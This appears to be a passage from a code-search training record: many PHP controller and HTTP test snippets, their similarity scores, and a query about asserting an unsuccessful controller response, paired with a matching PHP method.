$response);\n } else if ($response->status() == 200) {\n $this->assertInstanceOf('Illuminate\\Http\\JsonResponse', $response);\n }\n }", "public function testControllerResponse()\n {\n $matcher = $this->getMock('Symfony\\Component\\Routing\\Matcher\\UrlMatcherInterface');\n $matcher\n ->expects($this->once())\n ->method('match')\n ->will($this->returnValue(array(\n '_route' => 'hello',\n 'name' => 'Andrey',\n '_controller' => 'Templater\\\\Controller\\\\DefaultController::plainTextAction'\n )))\n ;\n $resolver = new ControllerResolver();\n\n $framework = new Framework($matcher, $resolver);\n\n $response = $framework->handle(new Request());\n\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertContains('Hello, Andrey', $response->getContent());\n $this->assertEquals('text/plain', $response->headers->get('Content-Type'));\n }", "function testShow() {\n $this->setMaximumRedirects(0);\n $this->get(WEBSITE_URL . '/' . $this->aRequest['controller']);\n $this->assertResponse(302);\n }", "public function testControllerUpdateReturnsResponse()\n {\n $controller = new DiceGame();\n $request = new Request([\n 'command' => 'restart'\n ]);\n\n $exp = \"Illuminate\\Http\\RedirectResponse\";\n $res = $controller->updateSession($request);\n $this->assertInstanceOf($exp, $res);\n }", "public function testGet()\n {\n $response = $this->get('/');\n $response->assertStatus(200);\n }", "public function testThatPostRoutesGiveResponse()\n {\n //Testing if the GET api route returns status 200\n $appURL = env('APP_URL');\n\n $url = '/api/account/balance';\n\n echo PHP_EOL;\n $response = $this->get($url);\n if((int)$response->status() !== 200){\n echo $appURL . $url . '(FAILED) did not return status 200';\n $this->assertFalse(false);\n }else{\n echo $appURL.$url.'(SUCCESS)';\n $this->assertTrue(true);\n }\n echo PHP_EOL;\n }", "public function testActionShow()\n {\n // Create five actions.\n factory(Action::class, 5)->create();\n\n // Create 1 specific action to search for.\n $action = factory(Action::class)->create();\n\n $response = $this->getJson('api/v3/actions/' . $action->id);\n $decodedResponse = $response->decodeResponseJson();\n\n $response->assertStatus(200);\n $this->assertEquals($action->id, $decodedResponse['data']['id']);\n }", "public function testCallbackAction()\n {\n $this->markTestIncomplete('Need to sort controller tests.');\n\n /*\n $hashChecker = $this->getMockBuilder('SclZfCartPaypoint\\Service\\HashChecker')\n ->disableOriginalConstructor()\n ->getMock();\n\n $hashChecker->expects($this->once())\n ->method('isValid')\n ->will($this->returnValue(true));\n\n $service = $this->getMockBuilder('SclZfCartPaypoint\\Service\\PaypointService')\n ->disableOriginalConstructor()\n ->getMock();\n\n $service->expects($this->once())\n ->method('processCallback');\n\n $serviceLocator = $this->getApplicationServiceLocator();\n $serviceLocator->setAllowOverride(true);\n $serviceLocator->setService('SclZfCartPaypoint\\Service\\HashChecker', $hashChecker);\n $serviceLocator->setService('SclZfCartPaypoint\\Service\\PaypointService', $service);\n\n $result = $this->dispatch('/paypoint/callback');\n\n $this->assertControllerName('SclZfCartPaypoint\\Controller\\Payment');\n $this->assertControllerClass('PaymentController');\n $this->assertMatchedRouteName('paypoint/callback');\n $this->assertResponseStatusCode(200);\n */\n }", "public function testSaveActionGet()\n {\n $this->app->session->set(\"dice-game\", new DiceGame(2, 2));\n $res = $this->controller->SaveActionGet();\n $this->assertInstanceOf(ResponseUtility::class, $res);\n //$this->assertStringEndsWith(\"active\", $res);\n }", "public function testNotFoundAction()\n {\n $this->routeMatch->setParam('action', 'merda');\n \n $result = $this->controller->dispatch($this->request, $this->response);\n \n // Verifica o response\n $response = $this->controller->getResponse();\n \n $this->assertEquals(404, $response->getStatusCode());\n \n }", "public function testIndexActionGet()\n {\n $res = $this->controller->indexActionGet();\n $this->assertContains(\"View all items\", $res->getBody());\n }", "public function testIndexActionCanBeAccessed()\n {\n $this->elasticsearchClientMock->expects($this->once())\n ->method('getIndexStats')\n ->will($this->returnValue(array()));\n\n $serviceManager = $this->controller->getServiceLocator();\n $serviceManager->setAllowOverride(true);\n $serviceManager->setService('ElasticsearchManager', $this->elasticsearchClientMock);\n\n $this->routeMatch->setParam('action', 'index');\n\n $result = $this->controller->dispatch($this->request);\n $response = $this->controller->getResponse();\n\n $this->assertEquals(200, $response->getStatusCode());\n }", "public function test_admin_login_submission()\n {\n $this->assertTrue(true);\n $response = $this->call('POST', '/login/save');\n $this->assertEquals(302, $response->status());\n // $this->assertRedirectedToRoute(\"admin.dashboard.index\");\n }", "public function testLoginSuccess() : void\n {\n $this->createAdmin();\n\n $response = $this->post(route('login'), $this->admin_data);\n $response->assertStatus(302);\n }", "public function testDestroy()\n {\n $response = $this->action('DELETE', '\\Modules\\Admin\\Http\\Controllers\\FaqCategoryController@destroy', ['id' => '1', 'ids' => '1']);\n\n $this->assertResponseStatus(200 || 302, $response->status());\n\n if ($response->status() == 302) {\n $this->assertInstanceOf('Illuminate\\Http\\RedirectResponse', $response);\n } else if ($response->status() == 200) {\n $this->assertInstanceOf('Illuminate\\Http\\JsonResponse', $response);\n }\n }", "public function testEditActionCanBeAccessed()\n {\n $this->dispatch('/venue/edit');\n $this->assertResponseStatusCode(200);\n }", "public function testIndexResponseStatus()\n\t{\n\t\t$this->client->request('GET', '/merchants/');\n\n\t\t$this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());\n\t}", "public function testIndexActionFail() : void\n {\n $this->di->request->setPost(\"ip\", \"1200:0000:AB00:1234:O000:2552:7777:1313\");\n\n $res = $this->controller->indexActionPost();\n $this->assertInternalType(\"array\", $res);\n\n list($json, $status) = $res;\n $this->assertEquals($json[\"valid\"], false);\n $this->assertEquals($status, 200);\n }", "public function test_example()\n {\n $response = $this->get('/regist');\n\n $response->assertStatus(200);\n }", "public function testAssertRedirectEquals(): void\n {\n $this->_response = new Response();\n $this->_response = $this->_response->withHeader('Location', '/get/tasks/index');\n\n $this->assertRedirect();\n $this->assertRedirectEquals('/get/tasks/index');\n $this->assertRedirectEquals(['controller' => 'Tasks', 'action' => 'index']);\n\n $this->assertResponseEmpty();\n }", "public function testIndexActionError() : void\n {\n $res = $this->controller->indexActionPost();\n $this->assertInternalType(\"array\", $res);\n\n list($json, $status) = $res;\n $this->assertEquals($json[\"message\"], \"Ingen IP address skickades.\");\n $this->assertEquals($status, 400);\n }", "public function testPaymentIndexActionCanBeAccessed()\n {\n $this->dispatch('/payment');\n $this->assertResponseStatusCode(200);\n\n $this->assertModuleName('Payment');\n $this->assertControllerName('payment/index');\n $this->assertControllerClass('IndexController');\n $this->assertMatchedRouteName('standardPayment');\n }", "public function test()\n {\n $this->getAuthenticatedUser();\n return response()->json(['data' => ['status' => 'OK']], 200);\n }", "public function testIndexResponseStatus()\n\t{\n\t\t$this->client->request('GET', '/orders/');\n\n\t\t$this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());\n\t}", "public function testAssertRedirect(): void\n {\n $this->_response = new Response();\n $this->_response = $this->_response->withHeader('Location', 'http://localhost/get/tasks/index');\n\n $this->assertRedirect();\n $this->assertRedirect('/get/tasks/index');\n $this->assertRedirect(['controller' => 'Tasks', 'action' => 'index']);\n\n $this->assertResponseEmpty();\n }", "public function testExample()\n {\n $response = $this->get('/');\n $response->assertStatus(302);\n }", "public function testApproveSuccessForHr() {\n\t\t$userInfo = [\n\t\t\t'role' => USER_ROLE_USER | USER_ROLE_HUMAN_RESOURCES,\n\t\t\t'prefix' => 'hr'\n\t\t];\n\t\t$opt = [\n\t\t\t'method' => 'POST',\n\t\t];\n\t\t$this->applyUserInfo($userInfo);\n\t\t$this->generateMockedController();\n\t\t$url = '/hr/deferred/approve/3';\n\t\t$this->testAction($url, $opt);\n\t\t$this->checkFlashMessage(__('The deferred save has been %s.', __('approved')));\n\t\t$result = $this->Controller->Deferred->find('list', ['recursive' => -1]);\n\t\t$expected = [\n\t\t\t1 => '1',\n\t\t\t2 => '2',\n\t\t\t4 => '4',\n\t\t\t5 => '5',\n\t\t];\n\t\t$this->assertData($expected, $result);\n\t}", "public function testLoginPost()\n\t{\n\t\t$request = $this->getMockedRequest();\n\t\t$request->server->set('REQUEST_METHOD', 'POST');\n\t\t$userbaseController = new UserbaseController($request);\n\t\t$result = $userbaseController->loginAction();\n\t\t$this->assertCount(2, $result);\n\t\t$this->assertEquals(401, $result['returnCode']);\n\t}", "public function testVerifyCreate()\n {\n $response = $this->withHeaders([\n 'X-Header' => 'Value',\n ])->post('/login', [\n 'name' => 'admin',\n 'password' => 'admin'\n ]);\n\n $response->assertStatus(302);\n $response->assertSee('Redirect');\n $response->assertRedirect(\"myaccount\");\n }", "public function testuserGet200()\n {\n $response = $this->runApp('GET', '//user/{id}');\n\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertContains('Success', (string)$response->getBody());\n }", "public function testRedirect(): void\n {\n $this->post('/tests_apps/redirect_to');\n $this->assertResponseSuccess();\n $this->assertResponseCode(302);\n }", "public function testFlashAssertionsAfterRedirect(): void\n {\n $this->get('/posts/someRedirect');\n\n $this->assertResponseCode(302);\n\n $this->assertSession('A success message', 'Flash.flash.0.message');\n }", "public function testApiRedirect()\n {\n $_SERVER['HTTP']['Token'] = Session::get('Token');\n\n $response = $this->call('GET', '/api/');\n\n $this->assertEquals(200, $response->getStatusCode());\n\n $decoded = json_decode($response->getContent());\n\n $this->assertEquals('error', $decoded->status);\n }", "public function testLoggedStatus(){\n Session::flush();\n $user = $this->postuser();\n $status_message = $this->getStatus();\n $this->assertResponseOk();\n $this->assertTrue($status_message['message'] == 'user logged in');\n }", "public function status()\n {\n $this->response->text('OK');\n }", "public function testHomePageReturns200()\n {\n $response = $this->get('/');\n\n $response->assertStatus(200);\n }", "public function testGetActionMethodForIndexAction()\n {\n $application = new BasicTestApplication(FilePath::parse('/var/www/'));\n $request = new BasicTestRequest(Url::parse('http://www.domain.com/'), new Method('GET'));\n $response = new BasicTestResponse();\n $controller = new BasicTestController();\n $controller->processRequest($application, $request, $response, '', []);\n\n self::assertSame('indexAction', $controller->getActionMethod()->getName());\n }", "public function testProcessLogin(){\n\n $credentials = [\n 'email' => '[email protected]',\n 'password' => 'password',\n ];\n\n $response = $this->post(route('login.action', $credentials));\n $response->assertSessionHas('success');\n $response->assertRedirect(route('dashboard'));\n }", "public function testGettingResponse()\n {\n $response = new Response(\n json_encode(array(\n 'msg' => 'Testing Beepsend API'\n )), \n array(\n 'http_code' => 200,\n 'Content-Type' => 'application/json'\n )\n );\n \n $value = $response->get();\n $this->assertEquals('Testing Beepsend API', $value['msg']);\n }", "public function responseAction() {\n\n if ($this->_user == 'user') {\n $this->_redirect('/');\n }\n\n $form = new Yourdelivery_Form_Testing_Response();\n $testCaseId = (integer) $this->getRequest()->getParam('id');\n $testCaseExpId = (integer) $this->getRequest()->getParam('eid');\n try {\n $testCase = new Yourdelivery_Model_Testing_TestCase($testCaseId);\n $testCaseExpectation = new Yourdelivery_Model_Testing_TestCaseExpectation($testCaseExpId);\n } catch (Yourdelivery_Exception_Database_Inconsistency $exc) {\n $this->error('Requested site does not exists.');\n $this->_redirect('/testing_cms/');\n return;\n }\n\n $this->view->title = $testCase->getTitle();\n $this->view->testCaseExp = $testCaseExpectation;\n $this->view->testCaseId = $testCaseId;\n $this->view->testCaseExpectationId = $testCaseExpId;\n $this->view->userName = $this->_user;\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->getRequest()->getPost())) {\n $values = $form->getValues();\n $values['testCaseId'] = $testCaseId;\n $values['testCaseExpectationId'] = $testCaseExpId;\n $testCaseExecutor = new Yourdelivery_Model_Testing_TestCaseExecutor();\n $testCaseExecutorsResponse = new Yourdelivery_Model_Testing_TestCaseExecutorsResponse();\n $testCaseExecutor->setData($values);\n $values['testCaseExecutorId'] = $testCaseExecutor->save();\n if (strlen($values['response']) > 0) {\n $values['additionalInfo'] = $_SERVER['HTTP_USER_AGENT'];\n $email = new Yourdelivery_Sender_Email_Template('testing_cms_response');\n $email->setSubject('Testing-CMS-Response');\n $email->assign('link', sprintf('/testing_cms/responsestats/id/%s/eid/%s', $values['testCaseId'], $values['testCaseExpectationId']));\n $email->assign('msg', $values['response']);\n $email->assign('tester', $values['executor']);\n $email->addTo('[email protected]');\n $email->addTo('[email protected]');\n $email->send();\n }\n $testCaseExecutorsResponse->setData($values);\n $testCaseExecutorsResponse->save();\n $nextId = $testCase->getNextId($testCaseExpId);\n $this->success('Saved response.');\n\n\n\n if (is_null($nextId)) {\n $this->_redirect(sprintf('testing_cms/overviewexecutor/id/%d', $testCaseId));\n }\n $this->_redirect(sprintf('testing_cms/response/id/%d/eid/%d', $testCaseId, $nextId['id']));\n } else {\n $this->error($form->getMessages());\n $this->_redirect(sprintf('testing_cms/response/id/%d/eid/%d', $testCaseId, $testCaseExpId));\n }\n }\n }", "public function testLoginSuccess()\n {\n $mock = new MockHandler([\n new Response(200, [], '{\"token\": \"QpwL5tke4Pnpja7X4\"}'),\n ]);\n\n $handler = HandlerStack::create($mock);\n $this->app->instance(Client::class, new Client(['handler' => $handler]));\n\n //login\n $this->post('api/user/login', ['email' => '[email protected]', 'password' => 'password'], $this->headers)\n ->assertStatus(200)\n ->assertJson(['token' => 'QpwL5tke4Pnpja7X4']);\n\n }", "public function testEndPoint()\n {\n\t$response = $this->json('POST', '/api/module_reminder_assigner', ['contact_email' => '[email protected]']);\n\n\t$response->assertStatus(204);\n }", "public function testAuthorizeOperationSuccess()\n {\n // set up environment variables (current user is not signed in and currently is work time)\n $this->currentUserId = null;\n $this->currentUserRole = null;\n $this->isWorkTime = true;\n $policyEnforcement = $this->createPolicyEnforcementPoint();\n\n // send authorization request\n $authRequest = new Request([\n RequestProperties::REQUEST_OPERATION => Posts::OPERATION_INDEX,\n RequestProperties::REQUEST_RESOURCE_TYPE => Posts::RESOURCE_TYPE,\n ]);\n $this->assertTrue($policyEnforcement->authorize($authRequest));\n\n // what is important for us in this test is how many execution steps were made.\n // due to optimization we expect it to be very few.\n // how we control it? well, we just count number of log entries as it corresponds to number of steps.\n // it's not ideal but solves the problem.\n //\n // so what should you do if the next assert fails (due to changes in logging or logic)?\n // you have to check the log messages and make sure it was executed as switch:\n // 1) First step was checking Post rules and no rules for other resources were checked.\n // 2) Second step was checking `index` and no other Post rules were checked.\n $loggedActions = explode(PHP_EOL, $this->getLogs());\n $this->assertCount(10, $loggedActions);\n }", "public function testSearchActionCanBeAccessed()\n {\n $this->elasticsearchClientMock->expects($this->once())\n ->method('getIndexStats')\n ->will($this->returnValue(array()));\n\n $serviceManager = $this->controller->getServiceLocator();\n $serviceManager->setAllowOverride(true);\n $serviceManager->setService('ElasticsearchManager', $this->elasticsearchClientMock);\n\n $this->routeMatch->setParam('action', 'search');\n\n $result = $this->controller->dispatch($this->request);\n $response = $this->controller->getResponse();\n\n $this->assertEquals(200, $response->getStatusCode());\n }", "public function isSuccessful() {}", "public function testSuccess(){ \n\n $buyableProduct = Product::where('price', '<', 70)\n ->where('quantity','>',10)\n ->first();\n\n //test card 1\n $response = $this->checkoutAction($buyableProduct, $this->testVisaPan);\n $response->assertSee(\"Payment successful\");\n\n\n //test card 2\n $response = $this->checkoutAction($buyableProduct, $this->testMasterCardPan);\n $response->assertSee(\"Payment successful\"); \n \n }", "public function testManage() {\n $this->dispatch('/settings/ajax');\n $this->assertController(\"ajax\");\n $this->assertAction(\"index\");\n $this->assertResponseCode(200);\n\n // Parse the response\n $response = Zend_Json::decode($this->getResponse()->getBody());\n\n $this->assertTrue($response['payload']['first_name'] == 'admin');\n $this->assertEquals($response['payload']['email'], '[email protected]'); \n $this->assertTrue($response['payload']['job_type'] == 1);\n }", "public function testCanRespondToNonAjaxRequest() {\n\t\t$this->assertTrue($this->actions->register('output3', \"$this->actionsDir/output3.php\", 'public'));\n\t\t$this->request = $this->prepareHttpRequest('action/output3', 'POST', [], false, true);\n\t\t$this->createService();\n\n\t\tset_input('output', 'output3');\n\t\tset_input('system_message', 'success');\n\n\t\t$this->route();\n\n\t\t$response = _elgg_services()->responseFactory->getSentResponse();\n\t\t$this->assertInstanceOf(RedirectResponse::class, $response);\n\t\t$this->assertEquals(ELGG_HTTP_FOUND, $response->getStatusCode());\n\t\t$this->assertEquals($this->request->headers->get('Referer'), $response->getTargetURL());\n\t\t// Symfony adds html content with refresh meta tag\n\t\t//$this->assertEquals('', $response->getContent());\n\t}", "public function testIndexActionCanBeAccessed()\n {\n $apartmentGeneralDao = $this->getApplicationServiceLocator()->get('dao_apartment_general');\n $apartment = $apartmentGeneralDao->fetchOne();\n\n $this->dispatch('/apartment/' . $apartment['id'] . '/inventory-range');\n $this->assertResponseStatusCode(200);\n\n $this->assertModuleName('apartment');\n $this->assertControllerName('controller_apartment_inventory_range');\n $this->assertControllerClass('InventoryRange');\n $this->assertActionName('index');\n $this->assertMatchedRouteName('apartment/inventory-range');\n }", "public function testSuccess()\n {\n $this->userGhost();\n \n # Config for easy registration\n $module = Module_Register::instance();\n $module->saveConfigValue('signup_password_retype', false);\n $module->saveConfigValue('email_activation', false);\n $module->saveConfigValue('admin_activation', false);\n $module->saveConfigValue('activation_login', false);\n $module->saveConfigValue('force_tos', false);\n $method = Form::make();\n $parameters = [\n 'user_name' => 'Peter1',\n 'user_password' => '11111111',\n ];\n $response = MethodTest::make()->method($method)->parameters($parameters)->execute();\n assertEquals(200, $response->code, \"Check if registration works\");\n }", "protected function success()\n {\n $this->response = $this->response->withStatus(200);\n $this->jsonBody($this->payload->getOutput());\n }", "public function testActionIndex()\n {\n // Create five actions.\n factory(Action::class, 5)->create();\n\n $response = $this->getJson('api/v3/actions');\n $decodedResponse = $response->decodeResponseJson();\n\n $response->assertStatus(200);\n $this->assertEquals(5, $decodedResponse['meta']['pagination']['count']);\n }", "public function testLoginSuccess()\n {\n $this->createUser();\n\n $response = $this->post($this->getLoginSubmitUrl(), [\n 'email' => $this->getCorrectEmail(),\n 'password' => $this->getCorrectPassword()\n ]);\n\n $response->assertRedirect($this->getSuccessUrl())\n ->assertSessionHasNoErrors();\n\n $this->assertNotNull(\\Auth::user());\n }", "public function testStoreSingleEntrySuccess()\n {\n $this->mockedUserController = Mockery::mock('UserController[storeUserWith]');\n $this->app->instance('UserController', $this->mockedUserController);\n\n $testID = mt_rand(1,100);\n $this->userInput = [\n 'contact_id' => $testID, \n 'password' => 'testpassword',\n 'confirm_password' => 'testpassword',\n 'access_level' => 'admin'\n ];\n \n $this->mockedUserController->shouldReceive('storeUserWith')->once()->andReturn($testID);\n\n // Act \n $response = $this->action(\"POST\", \"UserController@store\", $this->userInput);\n\n // Assert\n $this->assertRedirectedToRoute('user.show',$testID);\n\n }", "public function test_login()\n\t{\n\t\t$response = $this->call('POST', 'v1/login', array('remember' => 'true', 'email' => '[email protected]', 'password' => 'guzi'));\n\t\t// $response = $this->action('POST', 'AuthController@login', array('remember' => 'true', 'email' => '[email protected]', 'password' => 'password'));\n\t\t// difference of two lines above?\n\t\t$result = json_decode($response->getContent());\n\t\techo \"login is : \";\n\t\tvar_dump($result->status);\n\t\t$this->assertEquals(\"success\", $result\n\t\t\t\t->status, 'We expected the post login to have a success status !');\n\t\t$this->assertResponseStatus(200);\n\t}", "public function setSuccessResponse()\r\n {\r\n $this->setResponse(self::STATUS_CODE_OK);\r\n }", "public function test_indexAction ( )\n {\n $params = array(\n 'action' => 'index',\n 'controller'=> 'index',\n 'module' => 'default'\n );\n\n $urlParams = $this->urlizeOptions($params);\n $url = $this->url($urlParams);\n $this->dispatch($url);\n\n // assertions\n $this->assertModule($urlParams['module']);\n $this->assertController($urlParams['controller']);\n $this->assertAction($urlParams['action']);\n }" ]
[ "0.71904624", "0.70342696", "0.6898119", "0.6875961", "0.6859705", "0.6853898", "0.6853898", "0.6804831", "0.6689942", "0.66645855", "0.6651477", "0.6647248", "0.6605936", "0.65899456", "0.65840775", "0.6558053", "0.6544194", "0.65186334", "0.65152454", "0.6514818", "0.6510354", "0.6489283", "0.6474827", "0.64533323", "0.6446981", "0.6443302", "0.6433626", "0.64248985", "0.6420901", "0.64012694", "0.63827425", "0.63092166", "0.6299014", "0.6294378", "0.6293505", "0.6277896", "0.62609637", "0.6223374", "0.6218591", "0.62175894", "0.62062204", "0.6193933", "0.6182098", "0.6172742", "0.6157479", "0.61517787", "0.6117295", "0.61144334", "0.6110196", "0.6104169", "0.60936314", "0.60879886", "0.6087333", "0.6077851", "0.60731417", "0.6071217", "0.6058919", "0.6049005", "0.6048403", "0.6044867", "0.60433894", "0.6036809", "0.6036263", "0.6017409", "0.60046315", "0.6002359", "0.5989665", "0.5987278", "0.59776056", "0.59723544", "0.59706986", "0.59664595", "0.5965328", "0.5961998", "0.5958528", "0.595786", "0.595648", "0.5956107", "0.5954448", "0.5944409", "0.5943718", "0.5935765", "0.5928402", "0.59222674", "0.59200644", "0.5914176", "0.591403", "0.59139335", "0.59089506", "0.59077847", "0.5906719", "0.59065956", "0.58935905", "0.5889376", "0.5878424", "0.58731073", "0.5870344", "0.5870182", "0.5866429", "0.5865272", "0.5863933" ]
0.0
-1
Assert unsuccessful response from a controller action.
public function assertErrorResponse(Client $client) { $this->assertTrue( $client->getResponse()->headers->contains( 'Content-Type', 'application/json' ) ); $response = static::$kernel->getContainer()->get('json.service')->decode($client->getResponse()->getContent()); $this->assertNotEquals(ResponseSystemSuccess::$code, $response['status']); return $response; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function failAction()\n {\n //====================================================================//\n // Return Dummy Response\n return new JsonResponse(array('result' => 'Ko'), 500);\n }", "public function testIndexActionFail() : void\n {\n $this->di->request->setPost(\"ip\", \"1200:0000:AB00:1234:O000:2552:7777:1313\");\n\n $res = $this->controller->indexActionPost();\n $this->assertInternalType(\"array\", $res);\n\n list($json, $status) = $res;\n $this->assertEquals($json[\"valid\"], false);\n $this->assertEquals($status, 200);\n }", "public function testIndexActionError() : void\n {\n $res = $this->controller->indexActionPost();\n $this->assertInternalType(\"array\", $res);\n\n list($json, $status) = $res;\n $this->assertEquals($json[\"message\"], \"Ingen IP address skickades.\");\n $this->assertEquals($status, 400);\n }", "public function test_actionIndexError()\n {\n $expected_output = \"HTTP/1.1 424 \\n\" .\n \"Content-type: application/json\\n\" .\n '{\"errors\":{\"general\":[\"Not a proper http method type, please send a FILE\"]}}';\n\n $this->assertControllerResponse('actionIndex', '/create/', $expected_output);\n }", "public function testNotFoundAction()\n {\n $this->routeMatch->setParam('action', 'merda');\n \n $result = $this->controller->dispatch($this->request, $this->response);\n \n // Verifica o response\n $response = $this->controller->getResponse();\n \n $this->assertEquals(404, $response->getStatusCode());\n \n }", "public function testLogoutActionFail()\n {\n $this->get('/users/logout');\n\n $this->assertResponseSuccess();\n\n $this->assertRedirect('/users/login');\n }", "public function testInvalidRouteAction()\n {\n $res = $this->controller->catchAll();\n $body = $res->getBody();\n $this->assertStringContainsString(\"Route not found\", $body);\n }", "public function testDispatchErrorNoAction()\n {\n $this->expectException(ResourceNotFoundException::class);\n\n $this->uut->dispatch($this->buildRequest('/unknown-action'));\n }", "public function test_unauthorized_user_cannot_access_the_user_route()\n {\n $response = $this->getJson('/user');\n\n $response->assertStatus(401);\n }", "public function test_unauthenticated_error()\n {\n $response = $this->get($this->apiUrl('user'));\n\n $response->assertStatus(401);\n\n $response->assertJson([\n 'message' => 'Unauthenticated.'\n ]);\n }", "public function test_actionAssetError()\n {\n $expected_output = \"HTTP/1.1 424 \\n\" .\n \"Content-type: application/json\\n\" .\n '{\"errors\":{\"general\":[\"Please send a valid GET. Include type, uploaded_name or is_used\"]}}';\n\n $this->assertControllerResponse('actionAsset', '/query/asset/', $expected_output);\n }", "public function testIndexActionGetFail()\n {\n // Setup the controller\n $controller = new LocWeatherController();\n $controller->setDI($this->di);\n\n // Test the controller action\n $_GET[\"ip\"] = \"test.ip.not.real\";\n $res = $controller->indexActionGet();\n $body = $res->getBody();\n $this->assertStringContainsString(\"<h5 style='color:red;'>Vädret misslyckades att hämtas.</h5>\", $body);\n }", "public function testGetActionMethodForInvalidAction()\n {\n $application = new BasicTestApplication(FilePath::parse('/var/www/'));\n $request = new BasicTestRequest(Url::parse('http://www.domain.com/'), new Method('GET'));\n $response = new BasicTestResponse();\n $controller = new BasicTestController();\n $controller->processRequest($application, $request, $response, 'foo', []);\n\n self::assertNull($controller->getActionMethod());\n }", "public function testShowUserFail()\n {\n $this->withoutMiddleware();\n $response = $this->get('/api/users/2');\n $response->assertJsonStructure([\n \"meta\" => [\n \"message\",\n \"code\"\n ],\n ]);\n $response->assertJson([\n \"meta\" => [\n \"code\" => Response::HTTP_NOT_FOUND\n ]\n ]);\n }", "public function testCanRespondWithErrorToNonAjaxRequest() {\n\t\t$this->assertTrue($this->actions->register('output3', \"$this->actionsDir/output3.php\", 'public'));\n\t\t$this->request = $this->prepareHttpRequest('action/output3', 'POST', [], false, true);\n\t\t$this->createService();\n\n\t\tset_input('output', 'output3');\n\t\tset_input('error_message', 'error');\n\n\t\t$this->route();\n\n\t\t$response = _elgg_services()->responseFactory->getSentResponse();\n\t\t$this->assertInstanceOf(RedirectResponse::class, $response);\n\t\t$this->assertEquals(ELGG_HTTP_FOUND, $response->getStatusCode());\n\t\t$this->assertEquals($this->request->headers->get('Referer'), $response->getTargetURL());\n\t\t// Symfony adds html content with refresh meta tag\n\t\t//$this->assertEquals('', $response->getContent());\n\t}", "public function testApiRequestFails()\n {\n $response = $this->runApp('GET', '/');\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertContains('We apologize that we are having some trouble loading the content', (string) $response->getBody());\n }", "public function testGetResponseForUnInitializedController()\n {\n self::expectException(ControllerNotInitializedException::class);\n self::expectExceptionMessage('Method getResponse() was called for an uninitialized controller.');\n\n $controller = new BasicTestController();\n $controller->getResponse();\n }", "public function testSendFailure()\n {\n $this->setMockHttpResponse('JsonPurchaseResponseFailure.txt');\n $response = $this->request->send();\n\n $data = $this->request->getData();\n\n $code = $response->response->getStatusCode();\n $this->assertFalse($response->isSuccessful());\n $this->assertEquals(500, $data['amount']);\n $this->assertEquals(200, $code);\n $this->assertNull($response->getCode());\n $this->assertSame(\"REFUSED\", $response->getMessage());\n $this->assertSame('e0bf69e8-8c98-4e01-893b-d040fa41dd9b', $response->getTransactionReference());\n $this->assertSame('TEST_RU_7a22d2ec-6725-48b7-b8e7-243f03914b27', $response->getCardReference());\n }", "public function testIndexActionPostFail()\n {\n // Setup the controller\n $controller = new LocWeatherController();\n $controller->setDI($this->di);\n\n unset($_POST[\"ip\"]);\n unset($_POST[\"lat\"]);\n unset($_POST[\"long\"]);\n unset($_GET[\"ip\"]);\n\n // Test the controller action\n $_POST[\"ip\"] = \"not.a.real.ip\";\n $res = $controller->indexActionPost();\n $this->assertEquals(\"Failed to fetch weather/location from entered information. Make sure entered data is correct.\", $res[0][\"result\"]);\n unset($_POST[\"ip\"]);\n\n $_POST[\"ipx\"] = \"194.47.150.9\";\n $res = $controller->indexActionPost();\n $this->assertEquals(\"Body is missing, or fetch failed for some other reason. Make sure you send IP (or lat&long) in body.\", $res[0][\"result\"]);\n }", "public function test_err404()\n {\n $this->request('GET', ['err404', 'index']);\n $this->assertResponseCode(404);\n }", "public function testFailLogin()\n {\n $response = $this->call('GET', '/api/v1/[email protected]&password=12345');\n \n $this->assertEquals(401, $response->status());\n }", "public function testEmptyPostIsRejected()\n {\n // Get the page\n $response = $this->from('/login')->post('/login');\n\n // Redirect back with data about the error\n $response->assertStatus(302);\n $response->assertRedirect('/login');\n\n // Assert errors since fields are empty\n $response->assertSessionHasErrors('email');\n $response->assertSessionHasErrors('password');\n }", "public function testUnauthorizedGetUserPeopleFails()\n {\n $response = $this->withHeaders([\n 'Accept' => 'application/json'\n ]) ->get('/api/v1/people');\n\n\n $response->assertStatus(401);\n }", "protected function assertControllerDenyAction($action)\n {\n $this->expectAccessTo($action, false);\n }", "public function testIndexActionGetBadIp()\n {\n $request = $this->di->get(\"request\");\n $request->setGet(\"ip\", \"8.8.8.8.8\");\n\n\n $res = $this->controller->indexActionGet();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertContains(\"is not a valid IP\", $body);\n }", "public function testItDoesntReturnAnInvalidUser()\n { \n $this->actingAs($this->user)\n ->getJson(\"api/v1/users/0\")\n ->assertStatus(422);\n }", "public function testOnAuthenticationFailure(): void\n {\n $this->serverService->expects($this->once())\n ->method('getVariable')\n ->with('realm')\n ->will($this->returnValue('mock_realm'))\n ;\n\n $response = $this->authenticator->onAuthenticationFailure(\n new Request(),\n new AuthenticationException('Authentication failure message')\n );\n\n $this->assertSame(401, $response->getStatusCode());\n $this->assertSame('{\"error\":\"access_denied\",\"error_description\":\"Authentication failure message\"}', $response->getContent());\n }", "public function test_destroy_unsuccessfully(){\n $asset = Asset::factory()\n ->state(['state_key' => Asset::ASSIGNED])\n ->for($this->location)\n ->for($this->category)\n ->create();\n\n $response = $this->deleteJson('/api/assets/'. $asset->id);\n\n $response->assertStatus(400);\n\n $response->assertJson(function (AssertableJson $json){\n $json\n ->where('message', \"You can't do any actions on an asset has been assigned\");\n });\n }", "public function testRetrieveUnsuccessfulReason()\n {\n }", "public function testShowInvalid(): void\n {\n $response = $this->json('GET', '/api/menus/test');\n\n $response->assertStatus(400);\n }", "public function assertApiRejection(TestResponse $response) {\n $this->assertContains($response->getStatusCode(), [403, 404, 405], 'Response status must be either 403 Forbidden, 404 Not Found or 405 Method Not Allowed');\n $response->assertErrors($response->getStatusCode(), [[]]);\n }", "public function testCreateFail()\n {\n // fail\n (new ExperimentRecruitingTokenResponse())->create(-1, 'fail', -1);\n }", "public function youCanOmitStatusCode()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n $meta = [\n 'foo' => 'bar'\n ];\n\n // Act...\n $response = $this->responder->success( $fruit, $meta );\n\n // Assert...\n $this->assertEquals( $response->getStatusCode(), 200 );\n 